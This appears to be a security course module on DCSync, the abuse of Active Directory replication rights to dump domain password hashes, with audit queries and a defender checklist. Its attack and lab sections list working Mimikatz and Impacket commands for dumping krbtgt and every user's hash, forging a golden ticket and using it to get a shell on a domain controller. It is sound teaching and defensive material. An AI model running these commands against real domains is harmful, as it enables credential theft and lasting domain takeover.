Module 10 · DCSync — Domain Replication Abuse

Last updated: April 29, 2026

Why this module exists. DCSync is the technique that lets an attacker dump every credential in your domain — without ever touching a domain controller’s filesystem. It’s not an exploit; it’s a feature being abused. Most AD environments have multiple non-DC accounts that can DCSync, and most defenders don’t know who.

The mechanic

Active Directory replicates between domain controllers using the DRSUAPI protocol. The DRSGetNCChanges RPC call asks for “all changes since version X” — including password hashes. The protocol is authenticated; specific entitlements are required:

• Replicating Directory Changes (DS-Replication-Get-Changes)
• Replicating Directory Changes All (DS-Replication-Get-Changes-All)

By default these are granted to: Domain Controllers, Domain Admins, Enterprise Admins, Administrators. By design. The vulnerability is when other principals get the same entitlement — accidentally, via nested groups, or via misconfigured ACLs.

The attack

# Mimikatz from a host with the right credentials
lsadump::dcsync /domain:corp.local /user:krbtgt
# Returns krbtgt's NT hash → forge Golden Tickets indefinitely

lsadump::dcsync /domain:corp.local /all /csv
# Dumps every user, every hash, in CSV

# Impacket equivalent
secretsdump.py -just-dc CORP/[email protected]

No file copy. No service stop. No DC compromise. Just an authenticated RPC.

Who can DCSync (the audit query)

# PowerView from a domain user
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    ($_.ObjectAceType -match 'Replicating Directory Changes') -or
    ($_.ObjectAceType -match 'DS-Replication-Get-Changes-All')
  } | Select SecurityIdentifier, ActiveDirectoryRights, ObjectAceType

# BloodHound query
MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain) RETURN p

Run that. The result is the complete list of accounts that can dump your domain. In a typical large enterprise this list contains 10-30 entries. Investigate every one.

Common abuse paths

• Service account with replication granted for a backup tool that no longer exists. Account still has the right.
• Group nesting — a help-desk group is added to a custom group that, four nestings deep, has GetChangesAll.
• Azure AD Connect service account (MSOL_*) which legitimately needs replication — but if compromised, instant domain dump.
• Microsoft Exchange Server historically had wide AD permissions; old “Exchange Trusted Subsystem” group had effective DCSync rights pre-CVE-2018-8581 hardening.

Real-world cases

• Many ransomware engagements — once attackers reach a DCSync-capable account, they dump krbtgt and forge Golden Tickets for persistence.
• 2018 Exchange / DCSync chain (CVE-2018-8581) — Exchange’s wide AD perms enabled DCSync from any Exchange admin.

Try this yourself

# In GOAD lab, find DCSync-capable accounts
Find-DomainObjectAcl | ?{ $_.ObjectAceType -match 'replicating-directory' }

# From the attacker's machine (with creds for an enabled DCSync user)
secretsdump.py -just-dc-user krbtgt CORP/dcsync_user@DC

# Use the krbtgt hash to forge a golden ticket
ticketer.py -nthash  -domain-sid  -domain CORP.LOCAL administrator
KRB5CCNAME=administrator.ccache psexec.py CORP/administrator@dc -k -no-pass

Defender’s checklist

• Quarterly audit of GetChanges/GetChangesAll permissions on the domain root. Compare to last quarter; investigate any new principals.
• Detection: 4662 event with object access mask containing the replication GUIDs ({1131F6AA-9C07-11D1-F79F-00C04FC2DCD2} or {1131F6AD-...}). Filter out actual DC-to-DC replication; everything else is suspicious.
• Reset krbtgt twice annually (with 24h gap between resets, per Microsoft guidance). Forged Golden Tickets become invalid.
• Remove unnecessary entitlements: Azure AD Connect’s account stays; everything else gets investigated and ideally removed.
• Honey-replication detection: some EDRs and Microsoft Defender for Identity have purpose-built DCSync detection — enable it.